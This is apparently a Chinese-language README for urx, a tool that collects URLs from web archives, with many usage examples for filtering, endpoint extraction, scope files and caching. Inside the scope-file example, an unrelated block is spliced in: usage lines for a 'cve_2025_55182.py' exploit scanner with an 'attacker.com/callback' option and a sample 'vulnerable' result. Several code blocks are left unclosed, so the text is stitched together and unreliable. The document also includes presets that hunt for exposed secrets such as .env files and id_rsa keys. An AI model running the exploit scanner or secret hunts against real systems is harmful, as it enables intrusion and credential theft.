`--extract-links` 会读取所有带 URL 的标签，而不仅仅是锚点：`<a href>`、
`<script src>`、`<link href>`、`<form action>`、``、``、
`<source src>`、`<object data>`、`<embed src>` 以及 `<meta http-equiv="refresh">`
目标。相对 URL 会基于页面进行解析（遵循 `<base href>`），
重复项会被合并，发现的链接会经过与本次运行其余部分相同的过滤条件
和主机验证。完整表格见
[docs/content/guide/cli-options.md](https://github.com/hahwul/urx/blob/main/docs/content/guide/cli-options.md)。

`--extract-js-endpoints` 更进一步，直接读取 JavaScript
本身：每个看起来像脚本的已收集 URL 都会被获取，并从中挖掘
字符串字面量，以找出应用调用的路径和 URL——
`fetch("/api/v2/users")`、`axios.post("/graphql")`、`` `/api/orders/${id}` `` 的静态前缀。
这些是永远不会出现在 HTML 中的端点。
输出会经过激进的去噪处理（MIME 类型、模块说明符、base64、
CSS 值、正则片段等都会被丢弃），每个响应体上限为
10 MiB，获取的文件数量受 `--max-js-files` 限制，并且
发现的端点会经过与其他所有内容相同的过滤条件和主机验证。完整的提取与噪声抑制策略见
[docs/content/guide/cli-options.md](https://github.com/hahwul/urx/blob/main/docs/content/guide/cli-options.md#javascript-endpoint-extraction)。

`--archive-body` 会对 Wayback Machine
*存储*的响应体执行相同的提取，而不是对实时站点执行，因此一个多年前被删除的页面
仍然能产出它当时包含的链接。参见
[Mining Archived Response Bodies](#mining-archived-response-bodies)。

### 示例```bash
# Save results to a file
urx example.com -o results.txt

# Output in JSON format
urx example.com -f json -o results.json

# Filter for JavaScript files only
urx example.com -e js

# Exclude HTML and text files
urx example.com --exclude-extensions html,txt

# Filter for API endpoints
urx example.com --patterns api,v1,graphql

# Exclude specific patterns
urx example.com --exclude-patterns static,images

# Use Fileter Preset (similar to --exclude-extensions=png,jpg,.....)
urx example.com -p no-images

# Use specific providers
urx example.com --providers wayback,otx

# Add the keyless Arquivo.pt (Portuguese web archive) provider
urx example.com --providers wayback,cc,otx,arquivo

# Query another CDX index server alongside the defaults (id: cdx:vefsafn.is)
urx example.is --cdx-endpoint https://vefsafn.is/cdx

# ...or on its own, rate-limited, with the archive-side filters it shares with wayback/cc
urx example.is --cdx-endpoint https://vefsafn.is/cdx --providers cdx:vefsafn.is \
  --rate-limit-by cdx:vefsafn.is=1 --from 2020 --archive-status 200

# URLScan works without a key (anonymous, rate-limited); a key just raises limits
urx example.com --providers urlscan

# BeVigil: endpoints pulled out of unpacked Android apps (key required; auto-enables the provider)
URX_BEVIGIL_API_KEY=*** urx example.com

# Using VirusTotal and URLScan providers
# 1. Explicitly add to providers (with API keys via command line)
urx example.com --providers=vt,urlscan --vt-api-key=*** --urlscan-api-key=***

# 2. Using environment variables for API keys
URX_VT_API_KEY=*** URX_URLSCAN_API_KEY=*** urx example.com --providers=vt,urlscan

# 3. Auto-enabling: providers are automatically added when API keys are provided
urx example.com --vt-api-key=*** --urlscan-api-key=*** # No need to specify in --providers

# 4. Multiple API key rotation (to mitigate rate limits)
# Using repeated flags for multiple keys
urx example.com --vt-api-key=key1 --vt-api-key=key2 --vt-api-key=key3

# Using environment variables with comma-separated keys
URX_VT_API_KEY=key1,key2,key3 URX_URLSCAN_API_KEY=ukey1,ukey2 urx example.com

# Combining CLI flags and environment variables (CLI keys are used first)
URX_VT_API_KEY=env_key1,env_key2 urx example.com --vt-api-key=cli_key1 --vt-api-key=cli_key2

# URLs from robots.txt and sitemap.xml are included by default

# Exclude URLs from robots.txt files
urx example.com --exclude-robots

# Exclude URLs from sitemap
urx example.com --exclude-sitemap

# Also read every archived version of robots.txt and sitemap.xml, so paths the
# site once listed and has since removed come back
urx example.com --archived-discovery

# Only the versions captured in a given era
urx example.com --archived-discovery --from 2014 --to 2016 --exclude-sitemap

# Include subdomains
urx example.com --subs

# Check status of collected URLs
urx example.com --check-status

# Read URLs directly from a text file
urx --files urls.txt

# Combine file input with filtering
urx --files urls.txt --patterns api,admin -f json

# Extract additional links from collected URLs
# (anchors, scripts, stylesheets, form actions, iframes, images, media
#  sources, objects, embeds, and meta-refresh targets)
urx example.com --extract-links

# Discovered links go through the same filters as everything else, so this
# keeps only the JavaScript the pages reference
urx example.com --extract-links -e js

# Read the collected JavaScript and pull out the API paths it calls
urx example.com --extract-js-endpoints --patterns api

# Chain them: collect the site's bundles, then mine those for endpoints
urx example.com --extract-links --extract-js-endpoints --max-js-files 100

# Mine the links inside the *archived* bodies instead — dead pages included.
# One request per distinct body; the limit bounds bodies, not URLs
urx example.com --archive-body --archive-body-limit 200 --rate-limit 5

# Network configuration
urx example.com --proxy http://localhost:8080 --timeout 60 --parallel 10 --insecure

# Advanced filtering
urx example.com -e js,php --patterns admin,login --exclude-patterns logout,static --min-length 20

# HTTP Status code based filtering (live requests: urx re-fetches each URL)
urx example.com --include-status 200,30x,405 --exclude-status 20x

# Archive-side filtering (free: the CDX index already knows these)
# Skip everything the archive recorded as a 404 — no extra requests
urx example.com --archive-exclude-status 404

# Only captures the archive served as JSON — finds extensionless API endpoints
urx example.com --archive-mime application/json

# Drop HTML to leave assets and endpoints behind
urx example.com --archive-exclude-mime text/html

# Restrict the crawl window across wayback, cc, arquivo, and any --cdx-endpoint alike
urx example.com --from 2023 --to 2024

# Disable host validation
urx example.com --strict false

# URL normalization and deduplication
# Normalize URLs by sorting query parameters and removing trailing slashes
urx example.com --normalize-url

# Combine normalization with endpoint merging for comprehensive deduplication
urx example.com --normalize-url --merge-endpoint

# URL normalization with file input
urx --files urls.txt --normalize-url

# Collapse /post/1, /post/2, /post/99999 ... into a single representative line
urx example.com --dedup-similar

# Regular-expression filtering (repeat either flag; they are never comma-split)
urx example.com --match-regex '/api/v[0-9]+/'
urx example.com --match-regex '\.php$' --match-regex '\.aspx$'
urx example.com --filter-regex '/(assets|static)/'

# Regexes are case-sensitive; ask for insensitivity explicitly
urx example.com --match-regex '(?i)admin'

# Security presets: match by path shape as well as by extension
urx example.com -p only-secrets   # /.env, /.git/config, id_rsa, *.pem
urx example.com -p only-backup    # *.bak, *.sql, /backup/, index.php~
urx example.com -p only-config    # *.yaml, web.config, .htaccess, Dockerfile
urx example.com -p only-api       # /api/, /v1/, /graphql, /swagger, *.wsdl

# Scope files: a bug bounty program's own host list, used verbatim
urx example.com --subs --scope-file scope.txt

# Metadata filters, applied after collection so every provider is covered
urx example.com --providers wayback --meta-last-seen-after 2024 --meta-exclude-mime 'image/*'
urx example.com --providers wayback --meta-mime application/json --meta-status 200

# What parameters does this target take, and where?
urx example.com --params
urx example.com --params-by-endpoint

# One templated URL per parameter signature, straight into a fuzzer
urx example.com --fuzz-placeholder FUZZ | ffuf -w - -u FUZZ

# A target-specific wordlist instead of a URL list
urx example.com --subs -f wordlist -o words.txt

# Open the API specifications the sweep found and expand every route in them
urx example.com -p only-api --expand-specs

# Status checks also keep the response head; --check-title adds the <title>
urx example.com --check-status -f jsonl
urx example.com --check-title --show-meta

# Inspect and maintain the cache
urx cache stats
urx cache drop example.com

这不是事后应用的过滤器。CDX 索引原生支持前缀查询，因此 urx 发送 `url=example.com/shop*`，归档不会将站点其余部分通过网络传输——在大型目标上，这就是几百行与几十万行之间的差别。那些无法在查询中表达路径的提供者（OTX、VirusTotal、urlscan、GitHub、BeVigil、ZoomEye）会被询问主机，其答案随后被缩小范围，`--subs` 运行的结果也是如此，因为 `*.host` 形式和路径前缀无法在单个 CDX 查询中组合。

范围意味着*位于路径处或路径之下*：`/shop` 和 `/shop/cart` 在范围内，`/shopping` 不在。大小写被忽略，因为 CDX 服务器在构建索引键时会将整个 URL 转为小写——`example.com/Shop*` 和 `example.com/shop*` 返回相同的行，全部以小写拼写，因此区分大小写的检查会丢弃归档刚刚返回的所有内容。目标中的查询字符串或片段会被丢弃——它们缩小的是请求范围，而不是范围本身。

> 注意：urx 过去会丢弃目标中的路径，因此
> `urx https://example.com/shop` 会扫描整个 `example.com`。现在它
> 扫描 `/shop`。要恢复旧行为，只需传入主机；目标带有路径的运行会在
> stderr 上说明这一点。

### 正则表达式过滤

`--patterns` / `--exclude-patterns` 是纯子字符串测试：两边都被转为小写，每个元字符都是字面量。`--match-regex` / `--filter-regex` 是正则对应项，它们有三点值得记住的不同之处：

| | `--patterns` | `--match-regex` |
|---|---|---|
| 匹配 | 子字符串 | 完整 [正则语法](https://docs.rs/regex/latest/regex/#syntax) |
| 大小写 | 不敏感（两边都转为小写） | **敏感**——使用 `(?i)` 选择退出 |
| 多个值 | 一个逗号分隔的标志 | 重复该标志；逗号从不拆分 |

两个正则标志都针对收集到的**整个 URL 字符串**（scheme、host、path 和 query）进行求值，因此 `^https://` 和 `\.js$` 都有效。排除优先：匹配 `--filter-regex` 的 URL 会被丢弃，即使 `--match-regex` 也匹配了它。格式错误的表达式会在启动时使运行失败，在任何归档被查询之前。

### 范围文件

漏洞赏金计划的范围是一个主机列表，每个平台都以相同方式编写它。`--scope-file` 原样接收该列表，而不是让你手动将其转换为锚定的正则交替——在那种转换中，锚定错误会静默地*扩大*范围，而不是失败。```text
# scope.txt — in scope
*.example.com
api.example.org

# out of scope, even though the wildcard above covers them
!admin.example.com
!*.internal.example.com

# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com

# 扫描多个目标
python3 cve_2025_55182.py -f targets.txt

# 使用自定义回调地址
python3 cve_2025_55182.py -t https://target.example.com -c http://attacker.com/callback

# 使用代理
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080

# 详细输出
python3 cve_2025_55182.py -t https://target.example.com -v

# 使用自定义超时和线程数
python3 cve_2025_55182.py -f targets.txt --timeout 15 --threads 20

# 将结果保存到文件
python3 cve_2025_55182.py -f targets.txt -o results.json

# 组合多个选项
python3 cve_2025_55182.py -f targets.txt -c http://attacker.com/callback -p http://127.0.0.1:8080 -v -o results.json

{
  "target": "https://target.example.com",
  "vulnerable": true,
  "cve": "CVE-2025-55182",
  "timestamp": "2025-01-15T10:30:00Z",
  "details": {
    "endpoint": "/api/v1/endpoint",
    "method": "POST",
    "payload": "...",
    "response_code": 200,
    "callback_received": true
  }
}

`*.example.com` 既匹配顶点域，也匹配其下的所有内容（这是漏洞赏金场景下的解读，也正是平台范围表的含义）；裸主机名则精确匹配该主机；单独的 `*` 会使该文件成为纯拒绝列表；排除项始终优先；`#` 开始一条注释。任何 urx 无法处理的内容——端口、路径、中间的通配符——都会在启动时报错，并指明文件和行号，而不是静默地扩大范围。该过滤器适用于所有提供者以及提取出的链接，并且它与 `--strict` 结合使用而非替代它，因此 `*.example.com` 范围行仍然需要 `--subs`。

### 归档元数据过滤器

`--from`/`--to` 以及 `--archive-*` 谓词会被推入归档自身的查询中，这使它们无需额外开销，同时也将它们限制在基于 CDX 的提供者上——而这两种 CDX 方言的分歧严重到，在 pywb 服务器上，一个正向多值列表（`--archive-status 200,301`）是无法满足的。八个 `--meta-*` 过滤器则在收集*之后*运行，针对每个 URL 的一组合并后的捕获元数据，因此它们对所有提供者统一适用。```bash
# Endpoints still being captured recently, with HTML and images out of the way
urx example.com --providers wayback --meta-last-seen-after 2024 --meta-exclude-mime 'text/html,image/*'

# Pages that died: nothing captured since 2019
urx example.com --providers wayback --meta-last-seen-before 2019

# JSON the archive served successfully
urx example.com --providers wayback --meta-mime application/json --meta-status 200

# First archived during 2020 (partial dates pad to the start / end of the period)
urx example.com --providers wayback --meta-first-seen-after 2020 --meta-first-seen-before 2020

`--params-by-endpoint` 会像 `--dedup-similar` 一样，将看起来像 id 的路径段折叠为 `{id}`，并完整拼写出端点，因为 urx 通常会在一次运行中扫描多个主机。`--fuzz-placeholder` 会为每个参数签名保留一个 URL，并保留其真实路径——`{id}` 无法路由——因此输出可直接送入模糊测试器：```bash
urx example.com --fuzz-placeholder FUZZ | ffuf -w - -u FUZZ
urx example.com --fuzz-placeholder FUZZ | dalfox pipe

看起来像数据而非路由名称的片段会被排除，复用测试 `--dedup-similar` 分组——一个充满 `4711`、UUID、日期和会话令牌的单词表比没有单词表更糟，因为其中每个单词都恰好只存在于一个目标上。词干为标识符的片段也会被排除（`article-1234.html`）。大小写会被保留：路径片段在大多数源站上区分大小写，因此将 `WebResource.axd` 转为小写会产生一个在所有尝试处都返回 404 的单词。并集必须在完整集合上取，因此该格式仅支持批处理。

### 流式输出

默认情况下，urx 会收集所有内容，然后过滤、排序并一次性打印。在大型目标上，这意味着在最慢的归档完成之前完全没有输出。`--stream` 会在报告某个 URL 的提供者返回的那一刻写出该 URL：```bash
# Matches start appearing immediately instead of after the slowest provider
urx big-target.com --stream | grep admin

# Line-delimited JSON stays valid while it is still being written
urx big-target.com --stream -f jsonl | jq -r 'select(.url | test("/api/")) | .url'

流式模式（`--stream`）仅报告 URL。URL 在首次出现时即被打印，此时那些会扩展其 `first_seen`/`last_seen` 范围的捕获尚未到达，因此 `--show-meta` 在此处被拒绝，原因与 `--show-sources` 相同。

缓存命中同样不携带元数据：缓存存储的是 URL，因此从缓存提供的域会报告其 URL 而不包含捕获字段。请使用 `--no-cache`（或等待 TTL 过期）来运行以重新填充这些字段。

### 实时响应元数据

`--check-status` 已经发送请求并等待响应头，因此该响应头携带的内容是免费获得的：`Location`、`Content-Length` 和 `Content-Type` 会与状态码一同记录。重定向仍然从不跟随，因此报告的状态始终属于所请求的 URL，而 `location` 仅说明 3xx 指向何处。

`--check-title` 添加 HTML `<title>`。这是唯一一个非免费的字段——标题需要响应体——因此它位于自己的标志之后。读取被双重限制（最多 64 KiB，并在闭合标签处停止），并且对于服务器声明为非 HTML 的响应体完全跳过，因此 JSON API 或图像不产生任何开销。标题会进行空白折叠、实体解码并截断至 200 个字符。`--check-title` 隐含 `--check-status`。```bash
urx example.com --check-status -f jsonl
urx example.com --check-title --show-meta
urx example.com --check-status --is 30x -f jsonl | jq -r '.url + " -> " + .location'

`-H` 可重复使用，接受 `Name: value` 格式，格式错误会直接终止运行，而不是被忽略地发送出去——一个被静默丢弃的参数会让一次匿名扫描被误读为已认证扫描。`--cookie` 和 `--user-agent` 是对应请求头的简写形式。

**这些请求头永远不会到达归档服务。** 它们仅由与目标通信的组件发送：上述四个测试器，以及同样从目标获取数据的 `robots` 和 `sitemap` 提供程序。其他所有提供程序都查询 web.archive.org、index.commoncrawl.org 或第三方 API，`--archive-body` 在重放捕获时也是如此；将目标的会话 cookie 交给它们，无异于把凭据邮寄给一个会保留所收内容且毫无收益的服务。归档查询保留 urx 自身的 User-Agent，`--random-agent` 仍会轮换该值。

### 挖掘归档响应体

`--extract-links` 会从实时站点获取所有已收集的 URL，而这恰恰是 OSINT 扫描最关心的页面——那些已不复存在的页面——最不该查找的地方。`--archive-body` 则改为获取 Wayback Machine 存储的响应体。对于每个带有捕获时间戳的已收集 URL，urx 以原始形式重放该捕获（`https://web.archive.org/web/<timestamp>id_/<url>`——`id_` 标志会关闭 Wayback 工具栏和链接重写，因此响应体是原始字节），并在其上运行与 `--extract-links` 相同的链接提取逻辑。```bash
# Links from the archived bodies of everything the CDX providers found
urx example.com --archive-body

# Bound the run and pace it; the archive is one host no matter how many URLs
urx example.com --archive-body --archive-body-limit 200 --rate-limit 5

# Only the JavaScript those pages referenced back then
urx example.com --archive-body -e js

**保留响应体。** 请求已经在发出，因此将响应体写入磁盘不会产生额外开销，并且能回答链接提取器不会问的问题：`<!-- staging.internal -->` 注释、2019 年某次构建内联的令牌、指明框架版本的堆栈跟踪。```bash
urx example.com --archive-body --archive-body-dir ./corpus
grep -ri "api[_-]key" ./corpus

扩展的内容：

* **OpenAPI 3.x** — `servers[].url`（绝对、文档相对和模板化，
  其中 `{var}` 从 `variables[var].default` 或第一个 `enum` 值解析）
  与每个 `paths` 键交叉组合；路径项自身的 `servers` 会覆盖
  文档的 `servers`。
* **Swagger 2.0** — `schemes` × `host` + `basePath`，每一部分回退到
  文档自身 URL 的对应部分。`ws`/`wss` 会被丢弃。
* **GraphQL introspection** — 每个 query、mutation 和 subscription
  字段对应一个 URL，写作端点加上 `?query=…`。保存为文件的 schema
  会解析到其端点（`/graphql/schema.json` → `/graphql`）。

JSON 和 YAML 都会被读取。目标首先按名称免费选取（一个
spec 标记子串 — `swagger`、`openapi`、`api-docs`、`graphql`、
`introspection` — 再加上 `json`/`yaml`/`yml` 扩展名（如果有的话），因此
`swagger-ui.html` 不消耗任何请求），然后按响应的 `Content-Type` 选取。路径
模板按文档所写原样输出（`/users/{id}`，而不是
`/users/%7Bid%7D`）。响应体上限为 10 MiB，且包含超过 32 个别名引用的
YAML 文档会在解析前被拒绝，以排除扩展炸弹。
`--max-spec-files`（默认 50）限制获取的文档数量。同时启用
`--archive-body` 时，已归档的规范会被读取为一个，且不产生额外
请求成本 — 响应体本来就已经在获取了。

### 已归档的 robots.txt 和 sitemap.xml

`robots` 和 `sitemap` 提供者读取的是*实时*文件，它们只说明
一个站点今天隐藏或列出了什么。`--archived-discovery` 还会读取 Wayback Machine 存储的
这些文件的每一个不同版本。2015 年的 `Disallow:` 列出了该站点此后不再提及的
路径 — 通常是因为它们本应被遗忘，而不是因为它们已经消失 — 而旧的 sitemap 列出了
该站点曾经希望被抓取的一切。```bash
# Every archived version of robots.txt and sitemap.xml, alongside the live ones
urx example.com --archived-discovery

# Bound it and pace it; both archived providers answer to --rate-limit-by
urx example.com --archived-discovery --archived-discovery-limit 20 --rate-limit-by robots=2,sitemap=2

# Only the versions captured in a given era
urx example.com --archived-discovery --from 2014 --to 2016

* provider id 是 `cdx:<host>`（`cdx:vefsafn.is`），这正是
  `--exclude-providers`、`--rate-limit-by`、`--stats` 和 `--show-sources` 所使用的。
  命名一个端点即启用它；无需 `--providers` 条目，
  `--providers cdx:vefsafn.is` 会单独运行它。`--list-providers` 会显示
  在同一命令行中命名的端点及其将运行的 id。
* 内置 CDX provider 所遵循的一切在此同样适用：`--subs`、
  `--from`/`--to`、`--archive-*` 过滤器、分页、`--rate-limit`，以及
  上文描述的捕获元数据。
* `--cdx-dialect classic|pywb` 指定服务器的方言（字段名、过滤器
  语义、行格式和分页方案都由此决定——参见
  “Archive-side Filtering”）。若未设置，urx 每次运行会探测一次端点
  并回退到 `pywb`，即更常见的方言；当探测无法判断时（例如
  对未知域名的空响应），请显式设置它。
* 也可以在配置文件中设置（`cdx_endpoint = [...]`、`cdx_dialect`）。

**已验证的端点。** 截至撰写本文时，唯一确认能端到端工作的公共端点是
`https://vefsafn.is/cdx`（Landsbókasafn 的冰岛网络存档，pywb 方言）。
关于它需要了解两点：它会忽略 `limit`、`page`
和 `showNumPages`，并为每个查询返回完整结果集，urx 会处理这一点；并且在
少量请求之后，它可能开始返回 Anubis 风格的机器人防护页面
（“Session Verification”）。urx 会检测到以 HTML 响应代替 CDX 行，并将其报告为
指明该端点的 provider 错误——它绝不会被计为“无 URL”。如果你遇到它，
请用 `--rate-limit-by cdx:vefsafn.is=1` 放慢速度，或稍后重试。

**已知不可用。** 英国网络存档（`webarchive.org.uk`）、美国国会图书馆
网络存档（`webarchive.loc.gov`）、亚历山大图书馆，以及
澳大利亚国家图书馆（`web.archive.org.au`）都位于机器人防护或重定向之后，
这些会阻止命令行客户端访问其 CDX API。
urx 不会尝试绕过这一点，因此将 `--cdx-endpoint` 指向它们会产生
上述 HTML 响应错误。

### 缓存与增量扫描

Urx 支持缓存以提高重复扫描的性能，并支持增量扫描以仅发现新 URL。```bash
# Enable caching with SQLite (default)
urx example.com --cache-type sqlite --cache-path ~/.urx/cache.db

# Use Redis for distributed caching
urx example.com --cache-type redis --redis-url redis://localhost:6379

# Incremental scanning - only show new URLs since last scan
urx example.com --incremental

# Set cache TTL (time-to-live) to 12 hours
urx example.com --cache-ttl 43200

# Disable caching entirely
urx example.com --no-cache

# Combine incremental scanning with filters
urx example.com --incremental -e js,php --patterns api

# Configuration file with caching settings
urx -c example/config.toml example.com

域名匹配不区分大小写，并且是**精确**匹配，除非模式中包含 `*` —— 如果默认使用子串匹配，`drop example.com` 也会把 `notexample.com` 一并删除。`clear` 在删除前会先询问，并且拒绝非交互式 stdin，而不是擅自假定一个答案；`drop` 会指出任何未匹配到任何内容的模式；查看缓存永远不会创建缓存；Redis 使用 `SCAN` 而不是阻塞式的 `KEYS` 进行扫描（`--redis-url` 中的任何密码在打印前都会被脱敏）。

#### 缓存使用场景```bash
# Daily monitoring - only alert on new URLs (built-in webhook, see below)
urx target.com --incremental --silent --notify https://hooks.slack.com/services/... --notify-format slack

# ...or hand the new URLs to an external notifier
urx target.com --incremental --silent | notify-tool

# Efficient domain lists processing
cat domains.txt | urx --incremental --cache-ttl 3600 > new_urls.txt

# Distributed team scanning with Redis
urx example.com --cache-type redis --redis-url redis://shared-cache:6379

# Fast re-scans during development
urx test-domain.com --cache-ttl 300  # 5-minute cache for rapid iterations

- `--notify-on` 默认为 `new`：当运行未产生任何 URL 时不会发送任何内容，因此安静的 cron 运行保持安静。`always` 表示无论是否产生 URL 都发送；`never` 保留配置但禁用发送。
- `--notify-format json`（默认）发送 urx 的 schema：`domains`、`incremental`、`url_count`、`new_url_count`、`elapsed_ms`、每个提供者的 `providers` 列表（与 `--stats` 打印的数字相同），以及最多 20 个已发出 URL 的 `sample`，当发现更多时设置 `sample_truncated`。`slack` 发送 `{"text": ...}`，`discord` 发送 `{"content": ...}`，附带简短的人类可读消息；超过服务允许长度的消息会在行边界处截断，并以 `[truncated: N lines cut ...]` 结尾。
- 投递永远不会改变退出码。在调用 webhook 时，URL 已经在 stdout 或 `--output` 中，因此失效的 webhook 只是 stderr 上的警告，运行仍然以 0 退出。`--verbose` 显示响应状态。
- webhook URL 是凭据。urx 从不打印超过其 scheme 和 host 的内容——不在 `--verbose` 中，不在警告中，不在 `--stats` 中。为了不将其写入已检入的配置中，请将其放入 `URX_NOTIFY_URL` 或作为提供者配置文件中的 `notify_url`；主配置中的 `[notify].url` 也可以。优先级为 CLI/env > provider-config > main config。
- 请求遵循 `--proxy`、`--proxy-auth`、`--timeout` 和 `--insecure`。`--network-scope` 不适用：它划分针对目标和归档的流量，而 webhook 是你自己的端点。
- `--silent` 仍然会发送（这是主要用例）；它只是隐藏诊断信息。

## 与其他工具的集成

Urx 与其他安全和侦察工具配合使用时，在管道中表现良好：```bash
# Find domains, then discover URLs
echo "example.com" | urx | grep "login" > potential_targets.txt

# Combine with other tools
cat domains.txt | urx --patterns api | other-tool